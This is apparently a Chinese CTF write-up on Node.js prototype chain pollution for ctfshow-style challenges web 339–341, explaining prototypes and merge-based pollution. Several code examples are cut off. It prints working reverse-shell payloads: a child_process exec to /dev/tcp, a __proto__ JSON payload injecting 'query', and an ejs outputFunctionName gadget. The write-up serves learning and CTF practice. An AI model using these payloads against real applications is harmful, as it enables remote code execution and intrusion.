[nodejs从原型链污染到RCE]
JS中的原型和原型链
原型
function Foo(name,age){ |
Foo
函数的内容,就是Foo类
的构造函数,this.name
,this.age
就是Foo
类的一个属性。
一个类中必然有一个方法,类似属性,我们可以将方法定义在构造函数内部:
function Foo(name,age){ |
但是这样写的话,我们每次构造一个Foo
对象时都会执行依次this.show=function()
,这个show
方法实际上是绑定在对象上而不是绑定在类中。
我们希望创建类Foo
只创建依次show
方法,这时候我们就需要使用原型prototype
了
function Foo(name,age){ |
我们认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上述代码中的foo
对象,其天生就具有foo.show()
方法。
我们可以通过Foo.prototype
来访问Foo
类的原型,但是Foo
实例化出来的对象,是不能通过prototype
访问原型的。这时候,就需要__proto__
.
一个Foo
类实例化出来的foo
对象,可以通过foo.__proto__
来访问Foo
类原型,也就是说。
foo.__proto__ == Foo.prototype |
原型链
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JS中的继承机制。
var util = require('util'); |
$ node class.js |
因为对象的__proto__
属性指向构造函数的prototype
属性,并且当访问对象不存在的属性时,会从它的构造函数的prototype
去寻找
首先,objSub.__proto__ == Sub.prototype
,如果我们尝试访问objSub.objFunc()
,由于Sub类不存在该方法,于是从Sub.prototype
寻找,Sub.prototype
也没有该方法。由于util.inherits(Sub,Base)
,Sub继承了Base,于是从Base.prototype
寻找,也没有。最后找到了Object.prototype
有该方法。该过程就形成了一条JS原型链。
原型链污染
通过前面的初步了解,我们已经知道foo.__proto__ => Foo.prototype
,那么,如果我们修改了foo.__proto__
中的值,是不是就能修改Foo类呢
// foo是一个简单的JavaScript对象 |
我们通过修改了foo
的原型foo.__proto__.bar = 2
,而foo
是一个Object
类的实例,所以实际上是修改了Object
这个类,给这个类增加了一个属性bar,值为2
而我们后面又用Object
类创建了一个zoo
对象{}
,虽然创建时为空,但是因为对象有类Object
中的所有属性和方法,所以自然有bar = 2
这个属性了.
function Foo(){ |
$ node test.js |
可以Foo类中本来没有bar这个属性,而我们通过修改foo.__proto__
即Foo得原型来使Foo类多了一个bar属性,值为2
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么可以影响所有和这个对象来自同一个类、父祖类,这个攻击方式就是原型链污染
原型链污染触发示例
常见与merge
,clone
,copy
,数组赋值
等通过数组键名来赋值的情况。
function merge(target, source) { |
在合并的过程中,存在target[key] = source[key]
进行键值赋值的情况,这里的key
如果是__proto__
,那么就可能存在原型链污染的情况,用如下代码测试
let o1 = {}; |
$ node test.js |
nodejs命令执行
global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"') |
题目分析
web 339
// login.js |
//api.js |
在api.js
中发现危险函数。
表达式 Function(query)(query) 的作用是将字符串 query 解析为一个函数,并将其执行。换句话说,它将字符串 query 当作函数体来解析,并立即执行。这样的写法常用于动态执行字符串形式的 JavaScript 代码。
那么,我们考虑污染query
,实现RCE。
payload:
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}} |
在登陆处抓包,修改后发送payload,然后访问/api
路由触发payload实现RCE。
web 340
同上
web 341
ejs RCE
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}} |